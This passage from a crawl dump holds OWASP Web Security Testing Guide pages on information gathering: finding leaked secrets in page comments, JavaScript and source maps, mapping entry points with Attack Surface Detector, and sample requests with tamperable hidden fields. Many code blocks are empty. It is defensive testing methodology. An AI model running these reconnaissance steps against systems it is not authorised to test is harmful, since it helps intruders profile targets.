discovery: [ffuf](https://github.com/ffuf/ffuf) , [feroxbuster](https://github.com/epi052/feroxbuster) , [gobuster](https://github.com/OJ/gobuster)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 25674, "slov": 3655, "odkazu": 232, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 12:51:53", "sha256": "fdd943de386cf284457934f10680f94f4d25298e8b32d624bea6f2c8c3c95af5", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://datatracker.ietf.org/doc/html/rfc7230", "https://github.com/projectdiscovery/naabu", "https://chaos.projectdiscovery.io/", "https://github.com/projectdiscovery/chaos-client", "https://github.com/infosec-au/altdns", "https://github.com/ProjectAnte/dnsgen", "https://github.com/Josue87/gotator", "https://github.com/blechschmidt/massdns", "https://searchdns.netcraft.com/?host=", "https://mxtoolbox.com/ReverseLookup.aspx", "https://www.dnsstuff.com/", "https://www.net-square.com/mspawn.html", "https://www.shodan.io/", "https://censys.io/", "https://fofa.info/", "https://crt.sh/", "https://www.merklemap.com/", "https://sslmate.com/certspotter/", "https://github.com/sensepost/gowitness", "https://github.com/owasp-amass/amass", "https://github.com/projectdiscovery/subfinder", "https://github.com/projectdiscovery/dnsx", "https://github.com/projectdiscovery/httpx", "https://github.com/lc/gau", "https://github.com/tomnomnom/waybackurls", "https://github.com/xnl-h4ck3r/waymore", "https://nmap.org/", "https://www.tenable.com/products/nessus", "https://github.com/sullo/nikto", "https://github.com/ffuf/ffuf", "https://github.com/epi052/feroxbuster", "https://github.com/OJ/gobuster", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/01-Information_Gathering/05-Review_Web_Page_Content_for_Information_Leakage", "titulek": "WSTG - Latest | OWASP Foundation", "h1": "WSTG - Latest", "popis": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/01-Information_Gathering/05-Review_Web_Page_Content_for_Information_Leakage", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - Latest | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/01-Information_Gathering/05-Review_Web_Page_Content_for_Information_Leakage", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "Latest", "4-Web Application Security Testing", "01-Information Gathering"], "osnova": [{"uroven": 1, "text": "WSTG - Latest"}, {"uroven": 1, "text": "Review Web Page Content for Information Leakage"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "Test Objectives"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Review Web Page Comments and Metadata"}, {"uroven": 3, "text": "Identifying JavaScript Code and Gathering JavaScript Files"}, {"uroven": 4, "text": "JavaScript and Client-Side Source Analysis"}, {"uroven": 3, "text": "Identifying Source Map Files"}, {"uroven": 3, "text": "Identify Redirect Responses which Leak Information"}, {"uroven": 3, "text": "Review Generated Files for Metadata Leakage"}, {"uroven": 4, "text": "How to Test"}, {"uroven": 2, "text": "Tools"}, {"uroven": 2, "text": "References"}, {"uroven": 3, "text": "Whitepapers"}], "markdown": "# WSTG - Latest\n\n# Review Web Page Content for Information Leakage\n\n| ID |\n| --- |\n| WSTG-INFO-05 |\n\n## Summary\n\nIt is very common, and even recommended, for programmers to include detailed comments and metadata on their source code. However, comments and metadata included in the HTML code might reveal internal information that should not be available to potential attackers. Comments and metadata review should be done in order to determine if any information is being leaked. Additionally some applications may leak information in the body of redirect responses.\n\nFor modern web apps, the use of client-side JavaScript for the frontend is becoming more popular. Popular frontend construction technologies use client-side JavaScript like React, Angular, or Vue. Similar to the comments and metadata in HTML code, many programmers also hardcode sensitive information in JavaScript variables on the frontend. Sensitive information can include (but is not limited to): Private API Keys (*e.g.* an unrestricted Google Map API Key), internal IP addresses, sensitive routes (*e.g.* route to hidden admin pages or functionality), or even credentials. This sensitive information can be leaked from such frontend JavaScript code. A review should be done in order to determine if any sensitive information leaked which could be used by attackers for abuse.\n\nFor large web applications, performance issues are a big concern to programmers. Programmers have used different methods to optimize frontend performance, including Syntactically Awesome Style Sheets (Sass), Sassy CSS (SCSS), webpack, etc. Using these technologies, frontend code will sometimes become harder to understand and difficult to debug, and because of it, programmers often deploy source map files for debugging purposes. A “source map” is a special file that connects a minified/uglified version of an asset (CSS or JavaScript) to the original authored version. Programmers are still debating whether or not to bring source map files to the production environment. However, it is undeniable that source map files or files for debugging if released to the production environment will make their source more human-readable. It can make it easier for attackers to find vulnerabilities from the frontend or collect sensitive information from it. JavaScript code review should be done in order to determine if any debug files are exposed from the frontend. Depending on the context and sensitivity of the project, a security expert should decide whether the files should exist in the production environment or not.\n\n## Test Objectives\n\n- Review web page comments, metadata, and redirect bodies to find any information leakage.\n- Gather JavaScript files and review the JS code to better understand the application and to find any information leakage.\n- Identify if source map files or other frontend debug files exist.\n\n## How to Test\n\n### Review Web Page Comments and Metadata\n\nHTML comments are often used by the developers to include debugging information about the application. Sometimes, they forget about the comments and they leave them in production environments. Testers should look for HTML comments which start with ` \n...\n```\n\nThe tester may even find something like this:\n\n```\n \n```\n\nCheck HTML version information for valid version numbers and Data Type Definition (DTD) URLs\n\n```\n \n```\n\n- `strict.dtd` – default strict DTD\n- `loose.dtd` – loose DTD\n- `frameset.dtd` – DTD for frameset documents\n\nSome `META` tags do not provide active attack vectors but instead allow an attacker to profile an application:\n\n```\n \n```\n\nA common (but not [WCAG](https://www.w3.org/WAI/standards-guidelines/wcag/) compliant) `META` tag is [Refresh](https://en.wikipedia.org/wiki/Meta_refresh).\n\n```\n \n```\n\nA common use for `META` tag is to specify keywords that a search engine may use to improve the quality of search results.\n\n```\n \n```\n\nAlthough most web servers manage search engine indexing via the `robots.txt` file, it can also be managed by `META` tags. The tag below will advise robots to not index and not follow links on the HTML page containing the tag.\n\n```\n \n```\n\nThe [Platform for Internet Content Selection (PICS)](https://www.w3.org/PICS/) and [Protocol for Web Description Resources (POWDER)](https://www.w3.org/2007/powder/) provide infrastructure for associating metadata with Internet content.\n\n### Identifying JavaScript Code and Gathering JavaScript Files\n\nProgrammers often hardcode sensitive information with JavaScript variables on the frontend. Testers should check HTML source code and look for JavaScript code between `` tags. Testers should also identify external JavaScript files to review the code (JavaScript files have the file extension `.js` and name of the JavaScript file usually put in the `src` (source) attribute of a ` \n```\n\nIn some cases, testers may find sensitive routes from JavaScript code, such as links to internal or hidden admin pages.\n\n```\n \n```\n\n#### JavaScript and Client-Side Source Analysis\n\nModern single-page applications and heavy client-side code frequently embed API endpoints, feature flags, and occasionally secrets. After collecting JavaScript files (manually, via proxy, or with tools such as Uproot), testers can extract interesting data with:\n\n```\n# Example with jsluice\njsluice urls bundle.js\njsluice secrets bundle.js\n\n# Example with LinkFinder\npython linkfinder.py -i bundle.js -o cli\n```\n\nCross-reference extracted endpoints and parameters with the results of archive URL collection (gau / waybackurls / waymore) and the techniques described in [Identify Application Entry Points](/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/01-Information_Gathering/06-Identify_Application_Entry_Points), and the [API Reconnaissance](/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/12-API_Testing/01-API_Reconnaissance) chapter.\n\n### Identifying Source Map Files\n\nSource map files will usually be loaded when DevTools open. Testers can also find source map files by adding the “.map” extension after the extension of each external JavaScript file. For example, if a tester sees a `/static/js/main.chunk.js` file, they can then check for its source map file by visiting `/static/js/main.chunk.js.map`.\n\nCheck source map files for any sensitive information that can help the attacker gain more insight about the application. For example:\n\n```\n{ \"version\": 3, \"file\": \"static/js/main.chunk.js\", \"sources\": [ \"/home/sysadmin/cashsystem/src/actions/index.js\", \"/home/sysadmin/cashsystem/src/actions/reportAction.js\", \"/home/sysadmin/cashsystem/src/actions/cashoutAction.js\", \"/home/sysadmin/cashsystem/src/actions/userAction.js\", \"...\" ], \"...\" } \n```\n\nWhen sites load source map files, the frontend source code will become readable and easier to debug.\n\n### Identify Redirect Responses which Leak Information\n\nAlthough redirect responses are not generally expected to contain any significant web content there is no assurance that they cannot contain content. So, while series 300 (redirect) responses often contain “redirecting to `https://example.com/`” type content they may also leak content.\n\nConsider a situation in which a redirect response is the result of an authentication or authorization check, if that check fails the server may respond redirecting the user back to a “safe” or “default” page, yet the redirect response itself may still contain content which isn’t shown in the browser but is indeed transmitted to the client. This can be seen either leveraging browser developer tools or via a personal proxy (such as ZAP, Burp, Fiddler, or Charles).\n\n### Review Generated Files for Metadata Leakage\n\nWeb applications may generate downloadable files such as PDFs, spreadsheets, invoices, or reports. These files may contain embedded metadata describing the software or libraries used to create them.\n\nMetadata fields such as *Producer*, *Creator*, *Application*, or *Library Version* may reveal backend technologies and specific version numbers. This information can assist attackers in fingerprinting the application and identifying publicly known vulnerabilities (CVEs).\n\nFor example, a generated PDF may expose the library used to create it:\n\n`Producer: iText 2.1.7`\n\nAn attacker could then search for known vulnerabilities affecting that version.\n\n#### How to Test\n\nDownload generated files from the application and inspect their metadata.\n\nFor PDF files:\n\n```\nexiftool file.pdf\npdfinfo file.pdf\nstrings file.pdf | grep -i producer\n```\n\nExample output:\n\n`Producer: iText 2.1.7`\n\nFor Office documents (DOCX, XLSX):\n\n```\nexiftool file.docx\n```\n\nCheck metadata fields such as:\n\n- Producer\n- Creator\n- Application\n- Creation Tool\n- Library Version\n\n## Tools\n\n- [wget](https://www.gnu.org/software/wget)\n- Browser “view source” function\n- Eyeballs\n- [Curl](https://curl.se/)\n- [Zed Attack Proxy (ZAP)](https://www.zaproxy.org)\n- [Burp Suite](https://portswigger.net/burp)\n- [Waybackurls](https://github.com/tomnomnom/waybackurls)\n- [gau](https://github.com/lc/gau)\n- [waymore](https://github.com/xnl-h4ck3r/waymore)\n- JavaScript endpoint / secret extraction:\n - [LinkFinder](https://github.com/GerbenJavado/LinkFinder)\n - [xnLinkFinder](https://github.com/xnl-h4ck3r/xnLinkFinder)\n - [jsluice](https://github.com/BishopFox/jsluice)\n - [SecretFinder](https://github.com/m4ll0k/SecretFinder) (or similar regex-based tools)\n- [Google Maps API Scanner](https://github.com/ozguralp/gmapsapiscanner/)\n- [exiftool](https://exiftool.org/)\n\n## References\n\n- [KeyHacks](https://github.com/streaak/keyhacks)\n- [RingZer0 Online CTF](https://ringzer0ctf.com/challenges/104) - Challenge 104 “Admin Panel”.\n\n### Whitepapers\n\n- [HTML version 4.01](https://www.w3.org/TR/1999/REC-html401-19991224)\n- [XHTML](https://www.w3.org/TR/2010/REC-xhtml-basic-20101123/)\n- [HTML version 5](https://www.w3.org/TR/html5/)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 11972, "slov": 1540, "odkazu": 222, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 12:51:54", "sha256": "b825760e225dd3ee06531055202aa2218e8da1e5e280a8e55650c98ed1b7c733", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://www.w3.org/WAI/standards-guidelines/wcag/", "https://en.wikipedia.org/wiki/Meta_refresh", "https://www.w3.org/PICS/", "https://www.w3.org/2007/powder/", "https://www.gnu.org/software/wget", "https://curl.se/", "https://www.zaproxy.org/", "https://portswigger.net/burp", "https://github.com/tomnomnom/waybackurls", "https://github.com/lc/gau", "https://github.com/xnl-h4ck3r/waymore", "https://github.com/GerbenJavado/LinkFinder", "https://github.com/xnl-h4ck3r/xnLinkFinder", "https://github.com/BishopFox/jsluice", "https://github.com/m4ll0k/SecretFinder", "https://github.com/ozguralp/gmapsapiscanner/", "https://exiftool.org/", "https://github.com/streaak/keyhacks", "https://ringzer0ctf.com/challenges/104", "https://www.w3.org/TR/1999/REC-html401-19991224", "https://www.w3.org/TR/2010/REC-xhtml-basic-20101123/", "https://www.w3.org/TR/html5/", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/01-Information_Gathering/06-Identify_Application_Entry_Points", "titulek": "WSTG - Latest | OWASP Foundation", "h1": "WSTG - Latest", "popis": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/01-Information_Gathering/06-Identify_Application_Entry_Points", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - Latest | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/01-Information_Gathering/06-Identify_Application_Entry_Points", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "Latest", "4-Web Application Security Testing", "01-Information Gathering"], "osnova": [{"uroven": 1, "text": "WSTG - Latest"}, {"uroven": 1, "text": "Identify Application Entry Points"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "Test Objectives"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Requests"}, {"uroven": 3, "text": "Responses"}, {"uroven": 3, "text": "OWASP Attack Surface Detector"}, {"uroven": 4, "text": "How to Use"}, {"uroven": 3, "text": "Application Entry Points"}, {"uroven": 4, "text": "GET Requests"}, {"uroven": 4, "text": "POST Requests"}, {"uroven": 2, "text": "Tools"}, {"uroven": 2, "text": "References"}], "markdown": "# WSTG - Latest\n\n# Identify Application Entry Points\n\n| ID |\n| --- |\n| WSTG-INFO-06 |\n\n## Summary\n\nEnumerating the application and its attack surface is a key precursor before any thorough testing can be undertaken, as it allows the tester to identify likely areas of weakness. This section aims to help identify and map out areas within the application that should be investigated once enumeration and mapping have been completed.\n\n## Test Objectives\n\n- Identify possible entry and injection points through request and response analysis.\n\n## How to Test\n\nBefore any testing begins, the tester should always get a good understanding of the application and how the user and browser communicates with it. As the tester walks through the application, they should pay attention to all HTTP requests as well as every parameter and form field that is passed to the application. They should pay special attention to when GET requests are used and when POST requests are used to pass parameters to the application. In addition, they also need to pay attention to when other methods for RESTful services are used.\n\nIn order to see the parameters sent in the body of requests such as a POST request, the tester may want to use a tool such as an intercepting proxy (see tools). Within the POST request, the tester should also make special note of any hidden form fields that are being passed to the application, as these usually contain sensitive information such as state information, quantity of items, the price of items, etc., that the developer never intended for anyone to see or change.\n\nThe usage of an intercepting proxy and a note taking application (for example, a spreadsheet software) for this stage of testing is popular among testers. The proxy will keep track of every request and response between the tester and the application as they explore it. Additionally, at this point, testers usually trap every request and response so that they can see exactly every header, parameter, etc. that is being passed to the application and what is being returned. This can be quite tedious at times, especially on large interactive sites (think of a banking application). However, experience will show what to look for and this phase can be significantly optimized.\n\nAs the tester walks through the application, they should take note of any interesting parameters in the URL, custom headers, or body of the requests/responses, and save them in a spreadsheet. The spreadsheet should include the page requested (it might be good to also add the request number from the proxy, for future reference), the interesting parameters, the type of request (GET, POST, etc.), if access is authenticated/unauthenticated, if TLS is used, if it’s part of a multi-step process, if WebSockets are used, and any other relevant notes. Once they have every area of the application mapped out, they can then go through the application and test each of the areas that they have identified and make notes for what worked and what didn’t work. The rest of this guide will identify how to test each of these areas of interest, but this section must be undertaken before any of the actual testing can commence.\n\nBelow are some points of interests for all requests and responses. Within the requests section, focus on the GET and POST methods as these comprise majority of the requests. Keep in mind that other methods, such as PUT and DELETE can also be found. Often, such rarer requests, if allowed, can expose vulnerabilities. There is a special section in this guide dedicated for testing these HTTP methods.\n\n### Requests\n\n- Identify where GETs are used and where POSTs are used.\n- Identify all the parameters used in a POST request (these are in the body of the request).\n- Within the POST request, pay special attention to any hidden parameters. When a POST is sent, all the form fields (including hidden parameters) will be sent in the body of the HTTP message to the application. These typically aren’t seen unless a proxy is used, or the HTML source code is viewed. Altering these hidden parameters may result in changes to the following pages that load, the data they contain, and the degree of access granted.\n- Identify all the parameters used in a GET request (i.e., in the URL), particularly the query string (usually appearing after a ? mark).\n- Identify all the parameters of the query string. These usually are in a pair format, such as `foo=bar` . Also note that many parameters can be in one query string separated by a `&` , `\\~` , `:` , or any other special character or encoding.\n- Please note, when identifying multiple parameters in one string or within a POST request, some or all of the parameters will be required to execute the attacks. The tester needs to identify all of the parameters (even if they are encoded or encrypted) and identify which ones are processed by the application. Later sections of the guide will cover how to test these parameters. At this point, it is important to make sure that each one of them is identified.\n- Also pay attention to any additional or custom type headers not typically seen (such as `debug: false` ).\n\n### Responses\n\n- Identify where new cookies are set ( `Set-Cookie` header), modified, or added to.\n- Identify any redirects (3xx HTTP status code), 400 status codes (particularly 403 Forbidden), and 500 internal server errors during normal responses (i.e., unmodified requests).\n- Also note where any interesting headers are used. For example, `Server: BIG-IP` indicates that the site is load balanced. Thus, if a site is load balanced and one server is incorrectly configured, then the tester might have to make multiple requests to access the vulnerable server, depending on the type of load balancing used.\n\n### OWASP Attack Surface Detector\n\nThe Attack Surface Detector (ASD) tool investigates the source code and uncovers the endpoints of a web application, the parameters these endpoints accept, and the data type of those parameters. This includes unlinked endpoints that a spider wouldn’t be able to find, as well as optional parameters that are completely unused in the client-side code. It also has the capability to calculate the changes in attack surface between two versions of an application.\n\nThe Attack Surface Detector is available as a plugin to both ZAP and Burp Suite, and a command-line tool is also available. The command-line tool exports the attack surface as a JSON output, which can then be used by the ZAP and Burp Suite plugin. This is helpful for cases where the source code is not provided to the penetration tester directly. For example, the penetration tester can get the json output file from a customer who does not want to provide the source code itself.\n\n#### How to Use\n\nThe CLI jar file is available for download from [https://github.com/secdec/attack-surface-detector-cli/releases](https://github.com/secdec/attack-surface-detector-cli/releases).\n\nYou can run the following command for ASD to identify endpoints from the source code of the target web application.\n\n`java -jar attack-surface-detector-cli-1.3.5.jar [flags]`\n\nHere is an example of running the command against [OWASP RailsGoat](https://github.com/OWASP/railsgoat).\n\n```\n$ java -jar attack-surface-detector-cli-1.3.5.jar railsgoat/\nBeginning endpoint detection for '<...>/railsgoat' with 1 framework types\nUsing framework=RAILS\n[0] GET: /login (0 variants): PARAMETERS={url=name=url, paramType=QUERY_STRING, dataType=STRING}; FILE=/app/controllers/sessions_contro\nller.rb (lines '6'-'9')\n[1] GET: /logout (0 variants): PARAMETERS={}; FILE=/app/controllers/sessions_controller.rb (lines '33'-'37')\n[2] POST: /forgot_password (0 variants): PARAMETERS={email=name=email, paramType=QUERY_STRING, dataType=STRING}; FILE=/app/controllers/\npassword_resets_controller.rb (lines '29'-'38')\n[3] GET: /password_resets (0 variants): PARAMETERS={token=name=token, paramType=QUERY_STRING, dataType=STRING}; FILE=/app/controllers/p\nassword_resets_controller.rb (lines '19'-'27')\n[4] POST: /password_resets (0 variants): PARAMETERS={password=name=password, paramType=QUERY_STRING, dataType=STRING, user=name=user, paramType=QUERY_STRING, dataType=STRING, confirm_password=name=confirm_password, paramType=QUERY_STRING, dataType=STRING}; FILE=/app/controllers/password_resets_controller.rb (lines '5'-'17')\n[5] GET: /sessions/new (0 variants): PARAMETERS={url=name=url, paramType=QUERY_STRING, dataType=STRING}; FILE=/app/controllers/sessions_controller.rb (lines '6'-'9')\n[6] POST: /sessions (0 variants): PARAMETERS={password=name=password, paramType=QUERY_STRING, dataType=STRING, user_id=name=user_id, paramType=SESSION, dataType=STRING, remember_me=name=remember_me, paramType=QUERY_STRING, dataType=STRING, url=name=url, paramType=QUERY_STRING, dataType=STRING, email=name=email, paramType=QUERY_STRING, dataType=STRING}; FILE=/app/controllers/sessions_controller.rb (lines '11'-'31')\n[7] DELETE: /sessions/{id} (0 variants): PARAMETERS={}; FILE=/app/controllers/sessions_controller.rb (lines '33'-'37')\n[8] GET: /users (0 variants): PARAMETERS={}; FILE=/app/controllers/api/v1/users_controller.rb (lines '9'-'11')\n[9] GET: /users/{id} (0 variants): PARAMETERS={}; FILE=/app/controllers/api/v1/users_controller.rb (lines '13'-'15')\n... snipped ...\n[38] GET: /api/v1/mobile/{id} (0 variants): PARAMETERS={id=name=id, paramType=QUERY_STRING, dataType=STRING, class=name=class, paramType=QUERY_STRING, dataType=STRING}; FILE=/app/controllers/api/v1/mobile_controller.rb (lines '8'-'13')\n[39] GET: / (0 variants): PARAMETERS={url=name=url, paramType=QUERY_STRING, dataType=STRING}; FILE=/app/controllers/sessions_controller.rb (lines '6'-'9')\nGenerated 40 distinct endpoints with 0 variants for a total of 40 endpoints\nSuccessfully validated serialization for these endpoints\n0 endpoints were missing code start line\n0 endpoints were missing code end line\n0 endpoints had the same code start and end line\nGenerated 36 distinct parameters\nGenerated 36 total parameters\n- 36/36 have their data type\n- 0/36 have a list of accepted values\n- 36/36 have their parameter type\n--- QUERY_STRING: 35\n--- SESSION: 1\nFinished endpoint detection for '<...>/railsgoat'\n----------\n-- DONE --\n0 projects had duplicate endpoints\nGenerated 40 distinct endpoints\nGenerated 40 total endpoints\nGenerated 36 distinct parameters\nGenerated 36 total parameters\n1/1 projects had endpoints generated\nTo enable logging include the -debug argument\n```\n\nYou can also generate a JSON output file using the `-json` flag, which can be used by the plugin for both ZAP and Burp Suite. See the following links for more details.\n\n- [Home of ASD Plugin for ZAP](https://github.com/secdec/attack-surface-detector-zap/wiki)\n- [Home of ASD Plugin for PortSwigger Burp](https://github.com/secdec/attack-surface-detector-burp/wiki)\n\n### Application Entry Points\n\nThe following are two examples on how to check for application entry points.\n\n#### GET Requests\n\nThis example shows a GET request that would purchase an item from an online shopping application.\n\n```\nGET /shoppingApp/buyme.asp?CUSTOMERID=100&ITEM=z101a&PRICE=62.50&IP=x.x.x.x HTTP/1.1\nHost: x.x.x.x\nCookie: SESSIONID=Z29vZCBqb2IgcGFkYXdhIG15IHVzZXJuYW1lIGlzIGZvbyBhbmQgcGFzc3dvcmQgaXMgYmFy\n```\n\n> All the parameters of the request such as CUSTOMERID, ITEM, PRICE, IP, and the Cookie, which could just be encoded parameters or parameters used for session state.\n\n#### POST Requests\n\nThis example shows a POST request that would log you into an application.\n\n```\nPOST /example/authenticate.asp?service=login HTTP/1.1\nHost: x.x.x.x\nCookie: SESSIONID=dGhpcyBpcyBhIGJhZCBhcHAgdGhhdCBzZXRzIHByZWRpY3RhYmxlIGNvb2tpZXMgYW5kIG1pbmUgaXMgMTIzNA==;CustomCookie=00my00trusted00ip00is00x.x.x.x00\n\nuser=admin&pass=pass123&debug=true&fromtrustIP=true\n```\n\nIt can be noted that the parameters are sent in several locations:\n\n1. In the query string: `service`\n2. In the Cookie header: `SESSIONID` , `CustomCookie`\n3. In the request body: `user` , `pass` , `debug` , `fromtrustIP`\n\nHaving a variety of injection locations provides the attacker with chaining possibilities that could improve the chances of finding a bug in the handling code.\n\n## Tools\n\n- [Zed Attack Proxy (ZAP)](https://www.zaproxy.org/)\n- [Burp Suite](https://www.portswigger.net/burp/)\n- [Fiddler](https://www.telerik.com/fiddler)\n- Content and parameter discovery: [ffuf](https://github.com/ffuf/ffuf) , [feroxbuster](https://github.com/epi052/feroxbuster) , [Arjun](https://github.com/s0md3v/Arjun)\n- Crawlers: [katana](https://github.com/projectdiscovery/katana) , [hakrawler](https://github.com/hakluke/hakrawler)\n- Historical URL sources: [gau](https://github.com/lc/gau) , [waybackurls](https://github.com/tomnomnom/waybackurls) , [waymore](https://github.com/xnl-h4ck3r/waymore)\n- See also the tooling listed in [API Reconnaissance](/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/12-API_Testing/01-API_Reconnaissance) (Kiterunner, LinkFinder, jsluice, xnLinkFinder, Param Miner, etc.)\n\n## References\n\n- [RFC 2616 – Hypertext Transfer Protocol – HTTP 1.1](https://tools.ietf.org/html/rfc2616)\n- [OWASP Attack Surface Detector](https://owasp.org/www-project-attack-surface-detector/)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 13151, "slov": 1756, "odkazu": 218, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 12:51:55", "sha256": "7172df57ea4ce5da5fed8af4f40e7426f7fa483967b575f6afcb5b66252f2095", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/secdec/attack-surface-detector-cli/releases", "https://github.com/OWASP/railsgoat", "https://github.com/secdec/attack-surface-detector-zap/wiki", "https://github.com/secdec/attack-surface-detector-burp/wiki", "https://www.zaproxy.org/", "https://www.portswigger.net/burp/", "https://www.telerik.com/fiddler", "https://github.com/ffuf/ffuf", "https://github.com/epi052/feroxbuster", "https://github.com/s0md3v/Arjun", "https://github.com/projectdiscovery/katana", "https://github.com/hakluke/hakrawler", "https://github.com/lc/gau", "https://github.com/tomnomnom/waybackurls", "https://github.com/xnl-h4ck3r/waymore", "https://tools.ietf.org/html/rfc2616", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/01-Information_Gathering/07-Map_Execution_Paths_Through_Application", "titulek": "WSTG - Latest | OWASP Foundation", "h1": "WSTG - Latest", "popis": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/01-Information_Gathering/07-Map_Execution_Paths_Through_Application", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - Latest | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/01-Information_Gathering/07-Map_Execution_Paths_Through_Application", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "Latest", "4-Web Application Security Testing", "01-Information Gathering"], "osnova": [{"uroven": 1, "text": "WSTG - Latest"}, {"uroven": 1, "text": "Map Execution Paths Through Application"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "Test Objectives"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Automatic Spidering"}, {"uroven": 3, "text": "Crawling Modern, JavaScript-Heavy Applications"}, {"uroven": 2, "text": "Tools"}, {"uroven": 2, "text": "References"}], "markdown": "# WSTG - Latest\n\n# Map Execution Paths Through Application\n\n| ID |\n| --- |\n| WSTG-INFO-07 |\n\n## Summary\n\nBefore commencing security testing, understanding the structure of the application is paramount. Without a thorough understanding of the application’s layout, a comprehensive test is unlikely.\n\n## Test Objectives\n\n- Map the target application and understand the principal workflows.\n\n## How to Test\n\nIn black-box testing, it is extremely difficult to test the entire codebase. This is not just because the tester cannot see the code paths through the application, but also because testing all the code paths would be extremely time-consuming. One way to reconcile this is to document the code paths that were discovered and tested.\n\nThere are several ways to approach the testing and measurement of code coverage:\n\n- **Path** - test each of the paths through an application that includes combinatorial and boundary value analysis testing for each decision path. While this approach offers thoroughness, the number of testable paths grows exponentially with each decision branch.\n- **Data Flow (or Taint Analysis)** - tests the assignment of variables via external interaction (normally users). Focuses on mapping the flow, transformation and use of data throughout an application.\n- **Race** - tests multiple concurrent instances of the application manipulating the same data.\n\nThe choice of method and the extent to which each method is used should be negotiated with the application owner. Additionally, simpler approaches could be adopted. For example, the tester could ask the application owner about specific functions or code sections that they are particularly concerned about, and discuss how those code segments can be reached.\n\nTo demonstrate code coverage to the application owner, the tester can start by documenting all the links discovered from spidering the application (either manually or automatically) in a spreadsheet. The tester can then look more closely at decision points in the application and investigate how many significant code paths are discovered. These should then be documented in the spreadsheet with URLs, prose and screenshot descriptions of the paths discovered.\n\n### Automatic Spidering\n\nAn automatic spider is a tool that is used to discover new resources (URLs) on a specific site automatically. It begins with a list of URLs to visit, called the seeds, which depends on how the Spider is started. While there are a lot of Spidering tools, the following example uses the [Zed Attack Proxy (ZAP)](https://www.zaproxy.org):\n\n*Figure 4.1.7-1: Zed Attack Proxy Screen*\n\nZAP offers various automatic spidering options, which can be leveraged based on the tester’s needs:\n\n- 